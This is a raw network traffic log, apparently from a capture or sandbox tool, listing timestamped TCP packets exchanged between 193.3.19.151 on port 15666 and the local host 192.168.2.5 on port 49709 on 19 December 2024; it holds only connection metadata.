Dec 19, 2024 08:53:05.314999104 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.315036058 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.315047026 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.315047979 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.315095901 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.315095901 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.315135956 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.315140963 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.315185070 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.315190077 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.315308094 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.315330982 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.315342903 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.315361023 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.315366030 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.315381050 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.315392017 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.315407038 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.315438032 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.315448999 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.315458059 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.315498114 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.315628052 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.315644026 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.315650940 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.315673113 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.315696955 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.315716982 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.434628963 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.434650898 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.434664965 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.434678078 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.434703112 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.434716940 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.434730053 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.434735060 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.434745073 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.434801102 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.434803963 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.434818029 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.434849977 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.434864998 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.434884071 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.434930086 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.434973955 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.434983015 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.435040951 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.436712027 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.436727047 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.436754942 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.436768055 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.436798096 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.436805010 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.436808109 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.436841965 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.436851978 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.436855078 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.436886072 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.436897039 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.436913013 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.436944008 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.437320948 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.437360048 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.437370062 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.437401056 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.437416077 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.437449932 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.437468052 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.437482119 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.437494040 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.437496901 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.437524080 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.437525988 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.437551022 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.437580109 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.440259933 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.440287113 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.440323114 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.440344095 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.440427065 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.440440893 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.440489054 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.440496922 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.440510988 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.440562963 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.441370010 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.441384077 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.441430092 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.441447020 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.441468954 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.441483974 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.441514969 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.441526890 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.441530943 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.441541910 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.441567898 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.441595078 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.444318056 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.444331884 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.444348097 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.444384098 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.444401979 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.444434881 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.444448948 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.444485903 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.444502115 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.444547892 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.444561958 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.444614887 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.445323944 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.445352077 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.445409060 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.445458889 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.445472956 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.445548058 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.445573092 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.445636988 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.445663929 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.445684910 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.448272943 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.448287010 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.448319912 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.448333025 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.448339939 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.448386908 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.448404074 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.448430061 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.448443890 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.448446035 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.448482037 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.448497057 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.449400902 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.449414968 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.449436903 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.449450016 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.449471951 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.449472904 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.449487925 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.449497938 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.449521065 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.449526072 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.449553013 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.449558973 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.449579000 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.449605942 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.452903032 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.452918053 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.452969074 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.452996969 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.453006983 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.453022003 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.453037024 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.453059912 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.453075886 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.453104973 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.453113079 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.453126907 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.453175068 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.453253984 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.453267097 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.453314066 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.453357935 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.453372002 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.453417063 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.453418016 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.453430891 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.453465939 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.453484058 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.453488111 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.453501940 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.453531981 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.453553915 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.455826998 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.455854893 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.455888987 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.455890894 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.455905914 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.455926895 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.455940962 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.455979109 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.456002951 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.456020117 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.456054926 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.456068993 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.456105947 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.456140041 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.456151962 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.456155062 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.456195116 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.456209898 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.456245899 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.456260920 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.456273079 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.456293106 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.456321001 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.456366062 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.456378937 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.456427097 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.458132029 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.458159924 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.458174944 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.458199978 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.458208084 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.458249092 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.458264112 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.458301067 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.458385944 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.458439112 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.458794117 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.458872080 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.458903074 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.458951950 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.458976030 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.459009886 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.459060907 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.459209919 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.459255934 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.459306955 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.459383011 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.459450960 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.461339951 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.461353064 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.461383104 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.461414099 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.461417913 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.461437941 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.461469889 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.461477041 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.461503983 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.461529016 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.461553097 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.461559057 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.461572886 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.461613894 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.461617947 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.461749077 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.462095022 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.462109089 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.462129116 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.462141037 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.462152004 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.462165117 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.462165117 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.462177038 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.462189913 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.462209940 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.462234974 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.463974953 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.464015961 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.464054108 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.464106083 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.464123964 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.464152098 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.464154959 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.464169979 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.464201927 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.464236021 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.464268923 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.464287043 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.464314938 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.464344025 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.464380980 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.464404106 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.464442968 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.554531097 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.554546118 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.554611921 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.554637909 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.554769039 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.554802895 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.554856062 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.554863930 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.554877043 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.554915905 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.554919004 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.554953098 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.555001020 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.555052996 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.555108070 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.555200100 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.555247068 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.555252075 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.555259943 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.555305958 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.555352926 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.555366039 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.555408001 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.555444002 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.555457115 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.555488110 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.555504084 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.555510998 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.555545092 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.555562019 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.555598974 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.555612087 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.555672884 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.555696011 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.555711985 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.555751085 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.555778980 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.555803061 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.555865049 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.555887938 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.555902958 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.555953979 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.556334019 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.556346893 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.556392908 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.556457996 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.556509018 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.556554079 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.556624889 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.556637049 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.556680918 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.556730986 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.556744099 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.556821108 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.556858063 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.556907892 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.556971073 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.557048082 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.557060957 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.557095051 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.557116985 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.557133913 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.557168961 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.557213068 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.557275057 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.557298899 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.557324886 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.557341099 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.557368040 CET	15666	49709	193.3.19.151	192.168.2.5
